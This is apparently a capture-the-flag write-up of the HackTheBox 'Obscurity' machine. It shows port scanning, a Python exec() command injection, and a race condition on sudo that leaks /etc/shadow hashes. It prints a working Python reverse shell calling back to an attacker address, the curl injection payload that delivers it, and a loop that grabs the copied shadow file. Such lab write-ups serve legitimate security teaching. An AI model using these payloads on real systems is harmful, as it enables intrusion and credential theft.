17. HackTheBox. Level Medium: Passing Obscurity. OS Command Injection and Race Condition

18 December 2024 5 minutes Author: Lady Liberty

Learning cybersecurity is an important step towards protecting your data and infrastructure. In this article, we look at a practical case study from HackTheBox, dedicated to the Obscurity machine. You will learn how to find vulnerabilities in the code, exploit OS Command Injection and work with Race Conditions. The article contains a detailed analysis of the Python code, search for vulnerabilities, as well as a description of the steps to gain access to the system and escalate privileges.

Obscurity Hack: OS Command Injection and Race Condition

The article discusses the exploitation of vulnerabilities in Python code, as well as the execution of a Race Condition attack.

The connection to the lab is via VPN. For security reasons, it is not recommended to use a work computer or host with important data, as the connection is to a private network where experienced information security specialists are located.

Recon

This machine has an IP address of 10.10.10.168, which we add to /etc/hosts.

10.10.10.168    obscurity.htb

First, a scan of open ports is performed. To speed up the process, instead of scanning all ports with nmap, masscan is used. The scan covers all TCP and UDP ports via the tun0 interface at a rate of 500 packets per second.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

Next, a scan is performed with the -A option to obtain more detailed information about services running on open ports.

nmap -A obscurity.htb -p22,8080

SSH service and web server are detected on the host. The next step is to test the web server.

Thus, we have:

  1. Self-written server

  2. Encryption used

  3. Server code in the file SuperSecureServer.py in some unknown directory.

Given the file name, a directory traversal is performed using wfuzz. The parameters passed are a dictionary, a URL, and a response code that should be ignored.

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

Entry Point

We open and analyze the server. We find a potentially dangerous use of the exec() function.

A few additional lines are added to the code to implement the required functionality.

This will allow you to start the server locally and analyze what data is passed to the exec() function. After starting the server, a corresponding request is sent for verification.
curl http://127.0.0.1:33333/asd

curl "http://127.0.0.1:33333/asd'"

curl "http://127.0.0.1:33333/asd''"

Thus, we have OS Command injection.

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

We use the following reverse python shell.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Since the required modules are already imported in the server code, their import from the shell is removed. Additionally, quotes and square brackets are escaped for correct operation.

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

Great! Everything works on the local machine. Let’s execute this request on the server.

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

We have an entry point.

USER

We look around the server and find readable files in the user’s home directory.

We read files.

Thus, the files are encrypted. We download everything that is given to us to the local host. As the message says, the encrypted file is check.txt, and the result is in out.txt. Let’s look at the algorithm.

Encryption is performed by adding the text symbol to the key symbol modulo 255. For decryption, the text and key symbols are subtracted.

It looks like this:

  • ([check.txt]+[key])mod  255=out.txt([check.txt] + [key]) \mod 255 = out.txt

  • ([out.txt]−[key])mod  255=check.txt([out.txt] – [key]) \mod 255 = check.txt.

Thus, the key can be calculated using the formula:

  • ([out.txt]−[check.txt])mod  255=key([out.txt] – [check.txt]) \mod 255 = key.

And let’s look at the key.

And now we decrypt the user’s password using this key.

With this password, we connect to SSH and remove the user flag.

ROOT

Let’s look at the sudo settings, namely whether the user robert can execute any commands under sudo without a password.

The code requests authentication data to perform operations. After entering the data, the contents of the /etc/shadow file are copied to the /tmp/SSH/* directory. The authentication data is then verified, and upon successful verification, the file is removed from the /tmp/SSH directory.

So we need to copy the file from /tmp/SSH/* before it gets deleted. Let’s start a second terminal and do an infinite read loop in it.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

Now we run the program, enter any data and see the hashes.

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

And they break easily.

The result is a flag of ruta.

Conclusion

This paper demonstrates the process of exploiting vulnerabilities in Python code, including OS Command Injection and Race Condition. It involves scanning, analyzing the code, launching a local server, identifying vulnerabilities, and gaining user and root privileges. This case highlights the importance of secure programming to protect systems from such attacks.

Other related articles
Found an error?
If you find an error, take a screenshot and send it to the bot.